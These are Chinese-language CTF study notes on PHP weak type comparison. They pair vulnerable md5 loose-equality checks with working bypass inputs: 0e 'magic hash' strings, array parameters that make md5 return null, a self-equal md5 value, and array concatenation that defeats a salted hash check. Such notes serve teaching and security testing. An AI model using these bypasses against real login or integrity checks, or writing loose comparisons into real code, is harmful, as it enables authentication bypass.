== 弱类型比较
基础方法
科学计数法
0e
开头的会被识别为科学记数法,结果均为 0
<?php
if (isset($_GET['a']) && isset($_GET['b'])) {
$a = $_GET['a'];
$b = $_GET['b'];
if ($a != $b && md5($a) == md5($b)) {
echo "flag{XXXXX}";
} else {
echo "wrong!";
}
} else {
echo 'wrong!';
}
?>
?a=s1885207154a&b=s1836677006a
md5("s1885207154a") => 0e509367213418206700842008763514
md5("s1836677006a") => 0e481036490867661113260034900752
数组绕过
传入的是数组不是字符串,md5 函数无法解出其数值并且不会报错,返回结果是null
<?php
if (isset($_GET['a']) && isset($_GET['b'])) {
$a = $_GET['a'];
$b = $_GET['b'];
if ($a != $b && md5($a) == md5($b)) {
echo "flag{XXXXX}";
} else {
echo "wrong!";
}
} else {
echo 'wrong!';
}
?>
md5等于自身
$str1 = $_GET['1'];
if(isset($_GET['1'])){
if($str1 == md5($str1)){
echo $flag1;
}
else{
die();
}
}
else{
die();
}
用科学计数法绕过,原文和密文都是0e
开头:
md5(0e215962017)=0e291242476940776845150308577824?1=0e215962017
md5加盐
$str2 = $_GET['2'];
$str3 = $_GET['3'];
if(isset($_GET['2']) && isset($_GET['3'])){
if($str2 !== $str3){
if(hash('md5', $salt . $str2) == hash('md5', $salt . $str3)){
echo $flag2;
}
else{
die();
}
}
else{
die();
}
}
else{
die();
}
用数组绕过,因为加盐的时候数组的值都是 Array :
$salt = "something";
$str2[] = 1;
$str3[] = 2;
echo ($salt . $str2);//somethingArray
echo ($salt . $str3);//somethingArray